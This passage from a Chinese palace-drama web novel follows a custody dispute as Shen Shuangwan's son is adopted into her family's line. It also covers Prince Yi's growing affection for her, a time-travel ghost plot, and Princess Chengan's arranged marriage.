“长公主显然是觉得郡主的名声不好听了,并且嫌弃我们家,那又何必苦求呢?是他们家女儿倒贴,我们家又不是非她不可!”朱氏漠然道,“外放出京,你再找十个八个女人又有什么难?倒也不必非郡主不可了。只要你不娶郡主,长公主必定也不会对沈氏有什么好脸色。你不必觉得这是什么要命的事情,也不必觉得那些是什么不可得罪的人。”
薛望的面色却并没有放松下来,他甚至露出几分颓然,他道:“我是希望沈氏和孩子一起回来的。”
朱氏大约是没想到薛望最终在纠结的仍然还是沈氏,她的眉头几乎拧成了一团。
“沈氏究竟有什么好?你到现在还放不下?”朱氏问,“你——你难道是被沈氏迷坏了脑子?”
薛望不语,只一径沉默着。
朱氏看着薛望,硬了硬心肠道:“你放不下也得放下,你只记得,是沈氏先离开了你,就算你如何哀求,她都是不会回头的。她不仅不会回头,甚至连孩子都不会给你看一眼。”说到这里,朱氏甚至笑了一声,接着又道,“她心里是没有你的,否则哪个女人会像她那样离开夫家毫不犹豫?她与你成亲四年,连孩子都有了,她走的时候哪怕有一丝留恋没有?你的后悔她根本不会看在眼里。她现在是仪王府的夫人,若他日仪王更进一步,你说不得还要对着她跪拜。你如今要做的就是只当从前的事情没有发生过,那么将来或者还有几分情分在。”
薛望听得愣住,他似乎都被朱氏的话给砸懵了一般。
朱氏看着他,又道:“若你执意要去找沈氏,我不会拦你的。你是我唯一的孩儿,是薛家唯一的子嗣,是永平侯,你要做什么我是拦不住。从前家中的事情我能替你兜揽,外面的事情我便无法帮你了。
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”
薛望慢慢站起身来,他道:“虽然母亲说了这么多,我还是要去一趟的。”
这一回朱氏没有阻拦他,只道:“那你就去吧!”
.
薛望离开西院,他脚步沉重。
朱氏的话语在他心中并非是毫无分量的。
可他与朱氏所想的不同。
他要去挽回沈氏的原因简单又直接,那就是孩子。
他不明白为什么朱氏那么轻飘飘就可以说那个孩子并不重要。
那分明是他的长子,若不是沈氏离开,那就是他的嫡长子。
哪个男人会对他的嫡长子无动于衷呢?
他在书房外站定了,他猛然想起自己早逝的庶兄。
他忽然也想起那时候沈氏的暗示,他的确坦荡,可他的母亲不是。
女人只会对自己亲生的孩儿关怀备至,所以他的母亲会轻飘飘地表示那不过是个孩子。
所以他的庶兄会在说亲之前病逝。
他的父亲是否是因为他为母亲求情,所以病逝之前上书皇帝请求不要给他爵位?
薛望摇了摇头,他强令自己不去想那些从前的事情。
他进到书房中铺开笔墨,既然仪王回绝了归还孩子的事情,那么他是必定要纠缠到底的,他不能叫自己的孩子落到不相干的人家去。
.
长公主府中,乐昌郡王与武阳长公主一道看了仪王府的回帖。
一旁成安郡主竖着耳朵听了一会,听到沈霜晚拒绝了认干亲的事情后,面上情不自禁露出了喜悦神色,再一看自己母亲与兄长神色,她又强令自己不要那样外露。
“这沈氏……她这是不打算与我们家交好了。”长公主扫了女儿一眼,叹了口气,“你要高兴就高兴吧,你看看你,这点事情就高兴。”
成安郡主便真的笑起来,她道:“我可不想要什么干姐姐湿姐姐,平白无故的多一门亲戚,怪得很。”
长公主把帖子合上,向乐昌郡王道:“如此便也只能算了,想来沈氏也明白咱们家到底是什么意思,今后也不会作什么怪。”
乐昌郡王道:“希望如此了。”
这时,公主府的令丞匆忙从外面进来了。
“长公主殿下,郡王、郡主。”令丞先行了礼,然后看向了长公主,“方才臣在外面得了个消息,永平侯递了奏疏进宫去,要讨要沈夫人生下的那个小孩。”
长公主愣了愣,只看向了一旁的乐昌郡王。
郡王皱了眉头,问道:“薛望怎么突然做这事情?”
“他去要沈氏的小孩?为什么?”成安郡主在一旁跟着问。
令丞道:“臣不知缘由,只知道那奏疏已经送进宫去了,事涉仪王殿下,圣上与皇后娘娘都不会不管不顾的。”
长公主思索了一会,却看向了自己女儿,道:“你今日只要说一句话,与薛望的事情可以不作数。”
“凭什么不作数!”成安郡主差点儿跳起来,“母亲,你怎么老想拆散我们啊!”
33. 孩子
武阳长公主很是恼火。
她的女儿似乎就一头扎进了那些情情爱爱里面无法清醒,就硬是看准了一个男人不愿意回头。
而那个男人又实在是心思奸猾,人品堪忧。
她都不知道自己女儿到底看上了那人哪里。
若不是这人身上有个爵位,她恨不能直接买凶杀人一了百了了,她的傻女儿总不能对个死人情根深种的。
奈何便就是他身上有爵位。
长公主如今倒是觉得沈氏实在是聪慧,若是那时候她妥协低头,这会不知还有多少恶心事情要赖到她身上去,她拼着一口气跑了,还有仪王相助,不说能高枕无忧,也能断绝掉许多不必要的麻烦。
而沈氏拒绝了她认干亲的事情,此刻想一想便更觉得她聪慧,何必要和已经过去了的事情有那么多的牵连呢,她现在在仪王府,是仪王的媵夫人,她只用看着仪王就行了,王府外的事情与她没有关系,她当然不用搭理。总和过去的人和事情牵连,反而还叫仪王心中有疙瘩。
想到这里,长公主再看向自己女儿,她的傻女儿为何没有这样的聪慧呢?
一旁乐昌郡王道:“这事情且先看看吧,若薛望真的把那小孩儿抱回家去,那妹妹也不必嫁了。”
成安郡主并不太敢在自己兄长面前放肆吵闹,她委屈地看向了长公主:“母亲……”
长公主也看向了自己女儿,语气放温和了一些,道:“若是他把小孩儿抱回家,你嫁过去就要当后娘。这世上后娘最难当,我和你哥哥都不舍得你吃苦。”
成安郡主还想说什么,但被长公主止住了。
长公主又道:“母亲和你兄长都是为了你好,这世上没有人会比我们更在意你。”
成安郡主不说话了。
长公主叹了一声,道:“你先回去吧,最近便不要再往薛家送东西。”说着她又给了令丞一个眼神,“你送送郡主。”
令丞心领神会,恭敬走到成安郡主身边去。
成安郡主便站起身,与令丞一道离开。
乐昌郡王看着自己妹妹出去,又起身到门口看了一眼,然后才转回来与长公主道:“仪王再怎么荒诞,也应当不会养别人的小孩,薛家倒是还真有可能把这小孩儿要回去。”
长公主点了头,道:“我也是这么想。还是给嘉儿早做准备,薛家真的把小孩儿要回去,那嘉儿也不必再嫁到他们家。”
乐昌郡王叹了口气,道:“也不知道妹妹什么时候能清醒一些。”
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永平侯薛望要向仪王讨要孩子的事情很快便传遍了整个京城。
一时间看热闹的目光全都聚焦到了侯府与王府身上,另有知道一些内情的,还捎带上了长公主府,另有唯恐天下不乱的,还把杨国舅府上也牵扯了进来。
杨月芷听说仪王养了别人的孩子,气得直接站起来,直叫人备马要往仪王府上去。
杨峻英原在花园里与人赏花看戏,听着下人说自己女儿要出府,立刻便叫人拦下她,又匆匆与诸位客人道歉,叫了自己弟弟过来陪客,自己则往女儿院子过去。
到了女儿院子外面,杨峻英听着杨月芷正高声斥骂拦着她的仆从,不禁觉得头疼。
“把夫人也请来吧!”杨峻英一边向身后的仆人说着,一边进去院子里去。
见到杨峻英进来,杨月芷面色暗了暗,不情不愿上前来行了礼。
杨峻英示意那些仆从先退下,叹了口气:“你又要去仪王府上?”
杨月芷道:“他都要给别人养孩子了!简直无法无天!”
“他愿意,他喜欢,他就是要给别人养孩子,关你什么事呢?”杨峻英看着女儿,“你是他什么人,你凭什么说他无法无天?宫里的娘娘和陛下都不会这么说他,你凭什么?”
这一串话叫杨月芷顿住了,她看了杨峻英一眼,只觉得自己父亲不向着她,于是眼眶一红就要掉眼泪。
杨峻英只冷脸看着她不说话,等到卢夫人过来了,才摆了摆手示意往屋子里面去。
卢夫人来得匆忙,她身上穿着准备外出的衣裳,还梳了发髻,应是打算出门赴宴的。她看了看女儿,又看了看自己夫君,再想想最近京中的事情,心中便已经大致有了分数。她向杨月芷道:“左右也是没事情可做了,不如你妆扮起来,今日随我去成国公家中看戏。”
杨月芷含着眼泪道:“我去做什么?那是看戏还是看我?我才不出去丢人!”
卢夫人与杨峻英对视了一眼,道:“你最近在家中,有什么丢人事情?”
“仪王——”杨月芷已经开始抹眼泪了,“他竟然要养别人的小孩,这还不丢人吗?”
卢夫人道:“这与你有什么关系,你们已经和离了。”
这话叫杨月芷怒不可遏,她道:“我不承认,我从来都是不承认的!是他把我强行送回来!我不承认这件事情!”
杨峻英和卢夫人再次对视了一眼,这话也就杨月芷自己叫嚷几句,他们是不敢多说的——从前也不是没顺着杨月芷的话去胡搅蛮缠过,仪王是半点面子也不给,直接把和离的文书上的印鉴拿给他们看,还叫人拿着和离书在大门口念。
想起那段时日,杨峻英和卢夫人都只觉得呼吸都困难,实在是不想再经历一次。
杨峻英便道:“这话你不要说,省得仪王又拿着和离书到大门口去诵读,我和你母亲是想要脸的。”
杨月芷尖叫起来:“难道我丢脸了,你们还想有脸!”
卢夫人被吵得头晕脑胀,她向杨月芷道:“那你想如何?”
“自然是把那个沈氏与那个野种赶走!”杨月芷目光锐利,“卧榻之侧岂容他人鼾睡!”
杨峻英摇了摇头,叫了仆从把这院子看好,不再理会自己倔强执拗的女儿。
“不许五娘出去,她踏出院子一步,你们全家就被发卖到海上去。”杨峻英对仆从这样说道,“五娘就算一头碰死在院子里了,我都不追究你们责任,但就是不许她出去!”
奴仆们唯唯诺诺应下了。
杨峻英不去看杨月芷,转身与卢夫人一起离开。
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仪王府中,仪王翘着腿半躺在花园里面晒太阳。
一旁的内侍低眉顺眼地传达着皇后的
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旨意。
“娘娘说,那小孩儿既然是要过继给沈家的,就早些过继了为好,省得薛家讨要的时候又要重新掰扯那些事情,实在是烦,若是能在宫外处置了更好,娘娘和陛下都可以当做不知道,只要殿下别做得太过火就行。”内侍说道。
仪王眯着眼睛看了内侍一眼,道:“我知道啦,你回去让母亲放心吧,这事情我尽量在宫外处置了,不叫薛望再进宫去。”
内侍松了口气,道:“奴婢这就回去与娘娘说。”
仪王不甚在意地摆了摆手,道:“你回去吧,我就不叫人送你了。”
内侍没走,口中道:“还有件事情,娘娘叫奴婢叮嘱殿下。”
仪王半坐起来看向了内侍:“还有什么事情?”
“娘娘说,记得让沈夫人进宫一趟,娘娘有些话想与沈夫人说。”内侍道。
仪王重新躺了下去,无所谓道:“母亲有话对我说就行了,有什么好对沈夫人说的。你就这么回去和母亲说。”
内侍不敢反驳,只能应下来:“奴婢知道了。那奴婢现在就回宫去了。”
“去吧!”仪王再次摆了摆手。
内侍行了一礼,退到花园外面,长史罗粱便亲自送了内侍到大门口去。
仪王晒够了太阳坐起来,他想了想皇后的话,便起身去梧桐院找沈霜晚。
过继这种事情,若叫他来说,还是等小孩儿站住了再过继也不迟,否则小小的年纪若是没站住,那实在是太不好看。
但既然皇后开口说了,倒是也可以先把名字记上。
想着这些,他也没叫人通传,便直接进去了梧桐院中。
廊下,侍女们正带着摇篮里的小孩儿晒太阳。
屋子里面,传来了沈霜晚和侍女们说笑的声音。
廊下的侍女看到他,一人上前来拦了住他不许他往屋子里去,另一人则匆忙进屋子里面去。
“殿下,夫人在沐浴,殿下请回吧!”侍女一边笑一边对他说,“殿下过来怎么不叫人通传?”
仪王蓦地觉出了几分难言的尴尬,他就在院子里面站定了,清了清嗓子,道:“是突然想到些事情,就直接过来了。”想了想,他又道,“我就等一等吧,太阳好,我就跟这小孩一起晒晒太阳。”
“那殿下到这边来坐,这边太阳好。”侍女引着他过去和那小孩儿排排坐。
他便从善如流,伸开大长腿和那摇篮里的小孩一起并排在廊下晒太阳。
屋子里面有水声,说笑的声音便听不到了。
晒了一会太阳之后,仪王忽然有些莫名恼怒,他为什么要听屋子里面的声音?
想到这里,他又觉得脸上有些发烧。
应当是太阳晒太久了。
他侧头去看那晒着太阳打着呼的小孩,伸手去捏了捏小孩肉嘟嘟的胳膊。
他发誓就只轻轻捏了捏。
那小孩睁开眼睛看了他一眼,就开始放声大哭。
顿时侍女们围上来,奶娘也匆忙上前抱起小孩儿开始哄。
他讪讪地把手收回去,装作什么都没做过一样闭眼晒太阳。
34. 一点点动心
沈霜晚把长长的头发用梳子梳顺了,又在侍女帮忙下用干巾把滴水的发尾擦干,然后穿上干净的衣服往屋外去。
奶娘抱着小孩儿站在门口,见她出来,便指了指仍然在晒太阳的仪王。
她看向小孩儿,小孩儿也睁大眼睛看着她。
于是她便把这小孩儿从奶娘怀里抱过来,转身朝着仪王走过去。
“殿下刚才逗他啦?”沈霜晚笑着在仪王面前站定,“我在屋子里面就听他哇啦哇啦哭。”
仪王没站起来,他道:“我就捏了捏他的小胳膊,也没用力。”
“是不是捏起来肉嘟嘟的?”沈霜晚笑着问。
仪王便也笑起来,道:“是啊,肉嘟嘟,胖胖的。”
身后侍女们搬了坐榻过来,沈霜晚抱着小孩儿坐下了,小孩儿打了个呵欠,眼睛眯了眯,开始犯困了。她抱着小孩儿拍了拍,小孩儿就真的闭上眼睛开始睡。
一旁的奶娘忙上前来把小孩儿抱走。
沈霜晚笑着看向了仪王,道:“殿下今日来有什么事么?”
仪王抬眼看着她,却并没有立刻回答,他伸手摸了摸她披散在背后的头发,嘟哝道:“怎么还是湿的?”
“在外面晒一晒太阳,干得就快。”沈霜晚摸了摸另一边的头发,“在这儿略坐一会就会干了。”
仪王松开她的头发,又抬头摸了摸他自己的头发,道:“说得我都想洗一洗了。”说着他看向了沈霜晚身后的侍女们,“还有热水么?”
侍女们笑着道:“有自然是有的,不过夫人这儿没有殿下平常用的东西。”
“叫人送来吧!”仪王伸了个懒腰,“这太阳真舒服,叫我都不想动弹了。”
沈霜晚看向仪王,他也正看着她。
“借用一下你的地方,可应允么?”他问。
她忽然感觉到几分微妙难以言说的茫然从心底涌上来。
她似乎应当拒绝仪王的。
但仪王的目光很坦荡,这便叫她觉得自己似乎太过于多心?
她不自觉地把头发在手指上缠绕了几圈,定了定心,道:“王府都是殿下的,若殿下想……便叫人从前头把东西送来。”
仪王便笑了笑,他站起身来,跟随侍女往屋子里面走。
他道:“天气好,正好我也好晾一晾头发。”
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仪王觉得自己似乎有点疯。
他似乎是被太阳晒太久,把脑子也晒糊了。
躺在浴盆里面,他身后侍女安安静静地替他搓洗头发,按摩肩膀,但他眼前却是沈霜晚的那头长长的浓黑的头发在晃。
他呼吸之间是水汽的香味,这似乎是沈霜晚身上的味道,他从前为什么没注意到这香味如此……如此勾人?
他慢慢往下滑,只把鼻子眼睛露出在水面。
侍女们停下了动作,乖觉依次退了出去。
他听到廊下沈霜晚在和侍女们说话。
她说:“晚上吃些清淡的吧?上回吃的鱼味道很好,不知道殿下会不会留下吃饭,若是殿下留下,你们就去问殿下吃什么,不必问我了。”
仪王慢慢把整个人都潜入水中。
府中什么时候吃了鱼?他想,似乎他在前头没怎么见过。
是了,他最讨厌鱼刺,所以前头不怎么会做鱼。
一定是膳房问过了沈霜晚的喜好,才把鱼送到后头来。
若他留下吃晚饭,那沈霜晚便大概不会吃鱼。
浴盆中温热的水随着他的动作漾出一圈一圈的涟漪。
她似乎很想吃鱼,所以他要留下来吗?
不知侍女说了什么,沈霜晚笑出声来了。
她的声音很好听。
他眼前浮现了她言笑晏晏的样子,她还有一双会说话的眼睛。
他慢慢从水中抬起头,呼吸之间,他仍然闻到甜香的味道,他也喜欢这个香味。
他忽然意识到了一些什么。
他垂下眼眸,敲了敲一旁的小几,侍女们捧着干净的衣裳鱼贯而入。
他换上了干净的衣服,又擦了擦头发,然后走到屋子外面去。
沈霜晚还坐在远处,她在和侍女们玩斗草的游戏。
他慢吞吞走过去,也在刚才的地方坐下了。
沈霜晚回头看他,她手里还拿着一根草,她问他:“殿下来玩吗?”
他伸手替她理了理背后凌乱的头发,他问:“有什么彩头?”
沈霜晚道:“原本是没什么彩头,输赢不过逗乐,若殿下要玩,来些彩头也不错。”
他便笑着道:“哦?若我赢了,能得什么彩头?”
沈霜晚想了想,道:“我给殿下画张画,怎么样?”
他心猛烈跳了一跳,道:“那若是你赢了,你想要什么?”
沈霜晚笑着道:“我竟想不出来要什么了——”她回头去看她身后的侍女们,“你们说,我找殿下讨要点什么好呀?”
侍女们便七嘴八舌起来,他无心去听,他只看着身边的沈霜晚,他再伸手理了理她的头发。
然后沈霜晚回头看向了他,她道:“若我赢了,殿下给我找一种颜料吧!”
“什么颜料?”他好奇起来。
沈霜晚道:“之前见到西域的商人带来一种青色的颜料,手指头大一点点就要一两黄金,我没舍得买。”她露出懊恼神色,“越是没买越惦记,前几日终于下定决心叫他们去买的时候,那商人不在了,想买也没得买。”
他凝视着沈霜晚的眼眸,他几乎情不自禁笑了笑,道:“这有什么,你想要与我说一声就是了,除了这个没有别的想要了吗?”
沈霜晚道:“斗草的彩头要那么大吗?那我可不敢跟殿下玩了。”
他只好笑道:“好吧,听你的。”
满院子的花花草草,他随手弯腰找了一根。
许是他运气好,他轻而易举赢过了所有的侍女,最后还赢了她。
她把手里断成两半的草丢到旁边去,笑着把头发都拢到脑后,对着他道:“等过几日殿下来拿你的画像吧!”
他便笑着道:“好啊,你画好了就让人来叫我,我亲自过来看。”
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太阳开始西落,原本可以晒到太阳的地方开始被阴影笼罩。
沈霜晚从侍女手里接过了发簪,把披散的头发挽起来,另一边睡着了的小孩儿也醒过来,咿咿呀呀地不知在吵闹什么。
仪王站起身,与她一起重新走到有太阳的地方站定了。
“今日过来原本是有件事情要与你说的。”他对沈霜晚说道。
沈霜晚抬头看向了他:“殿下请讲。”
他道:“你知道薛望往各处递了诉状还有奏疏,想把你的小孩儿讨要回去。”
沈霜晚慢慢蹙起眉头来,她面上露出许多忧虑:“殿下是想叫我把小孩儿送还到薛家么……?”
他忙道:“自然不是。”
沈霜晚面上的忧虑少了些许,可眼眸中仍然愁绪万千。
不待她再说什么,他道:“我是想与你商量,现在就把小孩儿记名到沈家去,这样一来,薛望便没什么理由闹腾。”
沈霜晚眼睛慢慢亮起来,她道:“这样自然最好。”
他笑了笑,道:“我原本
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是想等着小孩儿大一些了再过继的,只是没想到薛望那么心急。现在先记名到沈家,你同意就行,我着人去办。”
沈霜晚点了点头,道:“多谢殿下。”
他不知不觉松了口气,又道:“那我就先往前头去了。”顿了顿,他又忍不住道,“我就不留下和你一起用晚膳了,你这儿本来照顾小孩儿就繁琐,我再过来,你只怕是要被闹得不知如何是好。”
他看到沈霜晚对着他笑了起来,她道:“殿下只等着过几日来看画像就是了。”
他忽地期待了起来。
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白天越来越长,落日也越来越迟。
沈霜晚送了仪王到梧桐院门口,转身回到院子里面去看自己的小孩儿。
她从刚才便在想既然要记到沈家,那就得先给小孩儿起个名。
叫什么好呢?
她想不太起来当初那个梦中自己的儿子叫什么名字,似乎曾经出现过,可她已经忘得干干净净。
不过她也不希望这个小孩儿与曾经有什么联系,不如便就重新起一个。
他应当姓沈,与她同姓,也与她的父亲同姓。
沈霜晚叫奶娘把小孩儿抱过来,他已经吃饱了,这会儿正睁着眼睛好奇地看着周围。
叫什么好呢?她亲了亲小孩儿的脸颊。
这时,她耳边突然出现了那久未出现的声音。
“我姓薛。”那声音很单薄,不似之前那样中气十足了。
沈霜晚动作顿了顿,她低头看自己怀里的小孩儿,有一些她的猜想竟然在今日有了答案?
“或者我能与他一起消失,也是好的结果。”那声音颓然说道,“我早该知道的,你是最狠心的人,你永远只想到你自己,你不曾想过别人。”
他?沈霜晚把小孩儿交还到奶娘手中,又叫侍女去传晚膳,自己则在妆奁前坐下,把散乱的鬓发梳到脑后去。
那声音还在喋喋不休:“他走了,他消失的时候我就应该明白,回到从前并不能改变我曾经遭受的一切。”
沈霜晚看着镜子里的自己,透过镜子,她似乎看到了身后站着一个削瘦的男人。
“你与你的父亲,来自将来。”她肯定地对着镜子笑了笑,“你们与我梦见的我一样,都来自将来。我改变了将来,所以你父亲已经消失,而你还留在这里。”
“是……”削瘦的男人也透过镜子看她,“母亲,你和我记忆中的母亲不一样,你为什么不与父亲在一起?”
“你在梦中不是说过,你宁愿不生出来,也不做我的儿子么?”梦中那些撕心裂肺,沈霜晚发现自己并没有忘记,“奇怪得很,你竟然不记得你自己说过的话?我不与你的父亲在一起,不是正好圆了你的梦?”
镜子里的影子沉默地看着她。
沈霜晚忽地也有些明白了,薛望所想是她的千依百顺,她的儿子所想是她能在薛望那儿为他争得他想得到的那些名利,无怪乎那声音从前那样对她说教,他们把将来种种不如意归因为她不够顺从,不够谄媚。
也无怪乎他们是父子。
她得感谢将来的自己,若不是有梦中那样如血一样狰狞的事实,她或者会被这声音蛊惑吧?
“所以当你失去你曾经的名字,你便会消失。那意味着你不曾存在过。”她看着镜子里那模糊的几乎透明的正在颤抖的身影,“我已经想好了要给我儿子的名字,他姓沈,单名一个云字。他会是我父亲沈令德的嗣孙,他会继承沈家的一切,他与薛家没有半点关系。”
镜子里那模糊的身影消失了。
耳边的声音也再听不到。
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35. 过继
这一天夜里沈霜晚做了梦。
梦中一片漆黑,只有争吵和指责。
她看不到人,却能分辨出说话人的声音。
薛望道:“若非你一再阻挠不叫繁元替嫁……我实在对你太失望了。”
紧接着是她梦中的儿子,他说:“母亲自怨自艾,从没有想过我与繁元,母亲为何如此自私?”
再接着是她自己在一边哭一边笑,她说:“这最后竟要怪到我头上?我做错了什么?我为什么要听你们的指责?我宁愿没嫁到薛家,没有生下你们!我宁愿时光倒流,我把这一切都还给你们薛家!没有我,你们薛家一样会走向末路!因为你们卑鄙!你们是完完全全的无耻小人!”
薛望与他的儿子因为她的话语暴怒,他们似乎有无数的刻薄话语可以说,他们似乎认为就是她的执拗才导致了薛家的败落。
梦中的她对天发誓,她愿意付出一切代价回到从前,她宁愿一生孤苦到死,也不要与薛家再有关联。
冥冥之中,上天似乎应允了她的请求,她回到了第一次怀孕的时候。
梦中竟然还有梦,她在梦里对自己诉说发生过的一切,她看到薛望与他的儿子在一旁极尽阻挠。
她希望一切都改变,但有人希望一切都如从前。
好笑得很,嘲讽得很。
她不与他们争吵,她只等待着一切发生。
终于她等到了转变的契机,终于她看到了一切已经与她经历过的截然不同。
她也终于看到那如影随形的小人一个接一个消失在她面前。
她最后也发现自己快要消散在时空中。
她明白了改变一切的代价——她会因为来路扭转而消失,她不复存在了。
走上不同道路的她,已经不再是她。
她并不感觉到有多难过,她甚至觉得这是上天给与她的恩赐。
受尽苦难的人终于逃离了苦难。
她为她自己赢得了将来,那么她就算消散也是值得。
她说,不要回头,往前走,不要回头。
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周遭归于寂静。
沈霜晚却忽然惊醒。
隔壁的沈云正在哭啼,奶娘正在低声哄着他。
她叫人把沈云抱到自己屋子里来。
小孩儿睁着眼睛皱着眉头,在看到她之后便收了哭声。
奶娘歉意地向她道:“也不知怎么,小公子刚才突然惊醒,就大哭起来。”
沈霜晚摸了摸襁褓底下是干燥的,她便向奶娘笑了笑,道:“也许是被什么惊着了,也许是饿了,哭闹也不是什么大事。”
沈云啊啊了两声,又露出困倦模样来。
沈霜晚便把小孩儿重新交给奶娘,道:“哄他睡吧!”
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仪王很快便将沈云过继到沈家的事情给办完了。
他特地叫人去京兆府把沈云的户籍记到沈家,又打发人去沈氏族里去划掉了了沈令德名下嗣子,改为嗣孙。
如此全部尘埃落定,才叫人去永平侯府通知了一声。
薛望得知此事,便直接冲到了仪王府来要与沈霜晚对峙。
但他却并没有能够见到沈霜晚,甚至也没有见到仪王,只有长史罗粱勉强在前厅见了见他。
“永平侯,沈夫人之子过继老沈大人之事,宫中的陛下与娘娘都应允,侯爷就不要再有异议了。”罗粱向薛望说道,“沈公子将来会继承沈家,与薛家再无关联。”
薛望瞪着罗粱,生硬道:“若他将来愿意认回薛家呢?你们是否要阻挠?”
罗粱笑了一声,道:“沈公子既然回了沈家,便不会再回薛家。除非他要做个不忠不孝的逆子自断前程。我想沈公子应当不会这么做的。”
薛望听着这话,一时间竟无话可说了。
罗粱也不打算与他过多纠缠,他道:“若无其他事情,永平侯便请回吧!”
薛望沉默了一会,却并不离开:“我要见沈氏,这话我要听她亲口对我说。”
罗粱道:“沈夫人今日与殿下一起进宫去拜见皇后娘娘,侯爷今日是见不到了。所以侯爷还是请回吧!”
薛望露出灰败神色,他后退了两步,失魂落魄一般离开。
他从未想过沈霜晚竟然会把他的小孩儿、薛家的小孩过继回沈家。
可他偏偏现在见不到沈霜晚,他想问的话,无法在罗粱这样的人面前说出口。
他想问她,真的半点情分也没有了吗?
他与她之间,甚至连一点念想也没有了?
她怎么能擅自决定了孩子的归处?
她没有想过孩子的将来吗?
他心中沉重地牵着马,慢慢朝着侯府的方向走。
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长宁宫中,沈霜晚正与皇后说话。
“看来十一郎对你还是上心的,现在看着比之前怀孕时候还要气色好一些。”皇后笑着说,“我之前叫你进宫,那臭小子总说不行,今天他又为何松了口?”
沈霜晚小心道:“应是今日殿下替妾把过继的文书送到了永平侯府,他怕妾与永平侯见面后争吵,便叫妾进宫来陪娘娘说话。”
皇后笑着摇了摇头,道:“十一郎总是这样,他这脾气,和小孩儿差不多。”
沈霜晚自知不能应和此话,便只静静微笑。
皇后又道:“叫你进宫,其实是有话想对你说。”
沈霜晚忙道:“娘娘请讲。”
皇后道:“你知道的,成安郡主与永平侯的亲事如今还未落定,但成安郡主执拗,这亲事早晚也是要办。”
沈霜晚道:“妾知晓。”
皇后看着她,道:“皇家也是好脸面的,与寻常人家没什么太大差别。你在十一郎身边,将来也是要作为外命妇在宗亲中走动,总是要与成安郡主或者长公主见面。”她目光温柔看着她,“那些过去的事情既然过去,你亦不打算回头,那么便不必太把她们放在心上。”
沈霜晚微微愣了愣,完全没想到皇后会这么对她说。
“我的十一郎已经是个让我总烦得不行的刺头了。”皇后一边说一边摇头,“一天天给我到处惹事。你看着是知书达礼的,不要学他那样子。对那些不喜欢的人只当看不到,如何?”
沈霜晚心中升起许多暖意,她忙道:“多谢娘娘教诲,妾记住了。”
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后听着这话,便笑了起来,道:“我也不叫你去劝他什么,他不是听劝的人。我说的话你能听一两句就行。”
这话音未落,仪王便从外面进来了,他应是正好到最后一句,脸上露出几分惊异:“母亲,你在与沈氏说什么呢?可别是在说我的坏话吧?”
皇后哭笑不得道:“那还用我说?让沈氏在外面走一圈就能听个三天三夜了。”
仪王便道:“只要母亲你不说,别人说的都不算数。”
皇后看了自己儿子一眼,又看了看沈霜晚,道:“行了,我见过沈氏,你们就回去吧!等会你父皇过来又不方便了。”
仪王道:“知子莫若母,儿子便就是过来带着沈氏回家的。”
皇后没好气地做出驱赶的动作,道:“你赶紧走吧,少给我惹事就行。”
仪王嘿嘿一笑,上前拉了沈霜晚,对着皇后行了礼便离开。
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两人出了长宁宫,一前一后顺着夹道往宫外走。
沿路没有见到宫人,应是早有人在前面清道。
仪王略慢了一步,等着沈霜晚与自己并齐了,然后才开口问道:“母后没为难你什么吧?”
沈霜晚笑了笑,道:“娘娘只是叮嘱我碰到长公主与郡主,不要太放在心里。”
仪王露出恍然神色,他道:“我刚才听父皇说,赐婚的旨意已经发下去了,薛望应当会在秋天与郡主成亲。”
“秋天?”沈霜晚抬头看了眼墙头伸出的正在盛放的梨花。
仪王也抬头看了眼,道:“郡主成亲,要准备的事情也很多,虽然不必内府来出嫁妆之类,但也要长公主一一打理。秋天已经算是很匆忙了。”
沈霜晚却想到自己当初嫁到薛家时候的匆忙。
一时间她只觉得百味杂陈起来。
“怎么了?”仪王似乎觉察了什么,他停下脚步看她,忽地又调笑起来,“你不会还想着薛望吧?”
沈霜晚回过神来,她道:“想他做什么?”
“那怎么突然连笑都不笑了?”仪王追问。
沈霜晚有些惊讶于仪王的敏锐,她想了想才道:“我是想到当初我出嫁时候匆忙得很。”
仪王重新跟上她脚步,问道:“为什么匆忙?你嫁到薛家的时候,沈家似乎还没败落?我依稀记得以前东宫有个侍妾是沈家人。”
沈霜晚没想到仪王竟然还记得这些鸡毛蒜皮的事情,她点了点头,道:“我堂姐后来去了东宫给先太子做侍妾。”
“后来?”仪王抓住了关键。
沈霜晚无奈笑了笑,她现在也觉得仪王难缠了。她道:“起初我堂姐因为亲事不顺,想顶替我嫁到薛家去。”顿了顿,她看了仪王一眼,“后面事情不必我多说了吧?”
仪王沉默了一会,面上神色变了又变,竟不知在想什么,半晌没说话。
沈霜晚并非多话的人,仪王不说话,她便也沉默下去,跟在仪王身侧,两人便行到宫门处各自上了马和马车。
刚在马车中坐稳,车帘忽然被掀开,仪王挤了进来,沈霜晚疑惑地看向了他。
“不想骑马了,我和你一起坐车。”仪王对着她笑了笑。
36. 指婚
长公主府中,武阳长公主把赐婚的圣旨交给了成安郡主袁嘉儿,她面上是显而易见的疲惫。
“你总算是称心如意了。”长公主看着女儿,已经无力再与她分说,“我与圣上说了,府中准备嫁妆之类也要时间,约是秋天才能成亲,圣上也应下了。圣旨已下,你总不能再在家中吵闹,又跑到太后宫里去哭诉了。”
袁嘉儿露出了几分羞怯,她接过那圣旨,道:“我原也不想进宫去打扰了外祖母。”
长公主已经不想再问自己女儿到底看上了薛望哪里,她只知道现在薛望已经没机会得到沈氏生下的那个小孩,而圣上也不打算重用他,她的女儿嫁给他能稳稳压住他一头。
至于将来,他们是否恩爱,是否反目成仇,是否会有其他变故,长公主已经不想去想。
总之只要她的女儿不去做谋反的事情,她这辈子都不会有什么波澜。
“这几个月,你便在家准备嫁妆,嫁衣那些还未绣好,我叫人做了花样子拿给你看。”长公主看着女儿说道,“还有首饰头面之类,你自己挑。”
袁嘉儿喜上眉梢,她道:“我会自己好好准备的。”
长公主看着女儿,轻叹了一声,又道:“另外有件事情,圣上特地提起过,我现在与你说了,你便要记在心里。”
“什么事?”袁嘉儿天真无邪地看向了长公主。
“沈氏如今在仪王身边,她虽然如今只是媵妾,将来仪王说不得会为了她请封。”长公主看着女儿,“将来无论何时见到她,你要以礼相待。”
袁嘉儿眉头皱起来了,她很是不屑道:“再如何也不过是个妾,还要我以礼相待?”
“她是仪王的妾。”长公主道,“圣上最疼的莫过仪王。”
袁嘉儿有些不耐烦,她道:“她是妾,我是妻,将来我们根本没什么机会见面。母亲倒也不必对我叮嘱这些话。”
长公主欲言又止,末了只道:“等你嫁人,我也就不操这些心了。”
袁嘉儿觉察到长公主似乎有些不高兴,她看了长公主一眼,只觉得自己母亲今天似乎偏心更多。她道:“母亲是不是还想着要认她作义女呢?就算母亲认了,我也是不会认的。”
长公主只站起来摆了摆手,道:“不说这些,我叫人帮你打理嫁妆了。”
袁嘉儿便跟着起身,她还想说什么,但被长公主止住。
